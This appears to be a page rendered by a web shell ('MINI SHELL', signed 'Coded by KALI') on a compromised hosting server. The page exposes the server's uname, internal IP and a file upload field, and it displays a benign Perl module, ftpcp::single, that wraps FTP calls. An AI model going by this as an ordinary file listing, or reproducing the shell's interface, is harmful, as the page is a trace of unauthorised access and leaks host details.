~ K    A     L    I ~
UNAME : Linux web65.extendcp.co.uk 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
SERVER IP : 10.0.187.65 -________- CLIENT IP : 216.73.216.230
PATH :/usr/lib/perl5/vendor_perl/5.8.8/ftpcp/
UP FILE :
MINI SHELL D ZAB '
Current File : //usr/lib/perl5/vendor_perl/5.8.8/ftpcp/single.pm
package ftpcp::single;
use strict;
use warnings;
use Carp;
require ftpcp;

our $AUTOLOAD;

=head1 NAME

ftpcp::single

=head1 DESCRIPTION

An instance of ftpcp bound to a single connection (used more like Net::FTP).
Derived from ftpcp, so you use it in the same way except that all functions but
connect() will have the server and username stripped.

=head1 SYNOPSIS

  my $ftps = new ftpcp::single($ftpcp);
  $ftps->connect($server, $username, $password);
  $ftps->ls(".");
  $ftps->disconnect;

=cut

# _ftp_call($subname, @args)
#
# Calls an ftpcp method with the given args. This exists to simplify testing.
sub _ftp_call {
  my ($self, $subname, @args) = @_;
  my $func = \&{$::ftpcp::{$subname}};
  unless($func) {
    warn "Non-existent $subname";
    return;
  }
  return &$func($self->{ftpcp}, @args);
}

=head1 CLASS METHODS

=head2 new()

=head2 new($ftpcp)

Prepares the object. A new ftpcp object will be built if needed.

=cut

sub new {
  my ($class, $ftpcp) = @_;
  $ftpcp ||= new ftpcp();
  return bless({ftpcp=>$ftpcp}, $class);
}

=head1 INSTANCE METHODS

=head2 AUTOLOAD(...)

This does most of the work, putting ($server, $username) at the start of your
ftpcp requests. Can die.

Underscored methods and any known not to take ($server, $username) are passed
verbatim.

=cut

sub AUTOLOAD {
  my @args=@_;
  my $func_name=$AUTOLOAD;
  my $self=shift @args;
  $func_name=~s/^.*:://;

  if($func_name=~/^(cp|excludes|put_flat|_.*)$/) {
    return $self->_ftp_call($func_name, @args);
  }

  unless($self->{server} and $self->{username}) {
    croak "No server/username while calling $func_name";
  }
  return $self->_ftp_call($func_name, $self->{server}, $self->{username}, @args);
}

=head2 DESTROY

Disconnects if connected.

=cut

sub DESTROY {
  my $self=shift;
  if($self->{server}) {
    $self->disconnect();
  }
}

=head2 connect(...)

Exactly as ftpcp. Note that the server and username will be grabbed before the
connect is attempted.

=cut

sub connect {
  my $self = shift;
  my ($server, $username) = @_;
  $self->{server} = $server;  
  $self->{username} = $username;  
  return $self->_ftp_call("connect", @_);
}

=head2 disconnect

Also "forgets" the server and username.

=cut

sub disconnect {
  my $self = shift;
  my $rv = $self->_ftp_call("disconnect", $self->{server}, $self->{username});
  $self->{server} = undef;
  $self->{username} = undef;
  return $rv;
}

1;
Coded by KALI :v Greetz to DR HARD ../ kali.zbi@hotmail.com